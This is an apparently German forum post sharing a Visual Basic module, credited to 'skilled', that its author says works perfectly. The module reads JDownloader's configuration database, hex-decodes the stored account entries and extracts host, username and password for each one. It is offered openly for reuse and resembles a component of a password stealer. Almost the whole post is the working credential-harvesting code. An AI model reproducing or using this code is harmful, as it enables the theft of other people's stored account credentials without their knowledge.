ist zwar schmutzig gecodet aber funktioniert einwandfrei
Code:
'*******************************************************
'* Module : mjDownloadRecovery.bas
'* Author : skilled
'* Contact :
'* MSN : skilled1337@hotmail.com
'* ICQ : 665514
'* Greetz :
'* pcfx
'* mr.unnamed
'* ++++
'*
'*
'* Leave Credits if you use this module!
'*******************************************************
Public Function jDownloader() As String
Dim sFilePath As String
sFilePath = Environ("programfiles") & "\jDownloader\config\database.script"
If Dir(sFilePath) = "" Then Exit Function
Dim f As Integer: f = FreeFile
Dim sLine As String: Dim sLines() As String
Dim sHost As String: Dim sUser As String: Dim sPass As String
Dim sString As String: sString = "INSERT INTO CONFIG VALUES('AccountController','"
Dim i As Long
Dim sDecrypted As String
Open sFilePath For Input As #f
Do While Not EOF(f)
Line Input #f, sLine
If Left(sLine, Len(sString)) = sString Then
sLine = Mid(Mid(sLine, Len(sString) + 1), 1, Len(sLine) - 2)
For i = 1 To Len(sLine) Step 2
sDecrypted = sDecrypted & Chr$(Val("&H" & Mid$(sLine, i, 2)))
Next i
sLines = Split(sDecrypted, Chr(0))
For i = 0 To UBound(sLines)
For x = 1 To 31: sLines(i) = Replace(sLines(i), Chr(x), vbNullString): Next
sLines(i) = Replace(sLines(i), "ÿ", vbNullString)
If sLines(i) <> "" Then sAll = sAll & vbNewLine & sLines(i)
Next
sLines = Split(sAll, vbNewLine)
For i = 0 To UBound(sLines) - 1
If Right(sLines(i), 2) = "sq" And InStr(sLines(i), ".") > 0 Then
sHost = Left(sLines(i), Len(sLines(i)) - 2)
End If
If Right(sLines(i), 1) = "t" And Right(sLines(i + 1), 2) = "xt" Then
sPass = Left(sLines(i), Len(sLines(i)) - 1)
sUser = Left(sLines(i + 1), Len(sLines(i + 1)) - 2)
jDownloader = jDownloader & "Host : " & sHost & vbNewLine & _
"User : " & sUser & vbNewLine & _
"Pass : " & sPass & vbNewLine & String(20, "=") & vbNewLine
End If
Next
GoTo ende
End If
Loop
ende:
End Function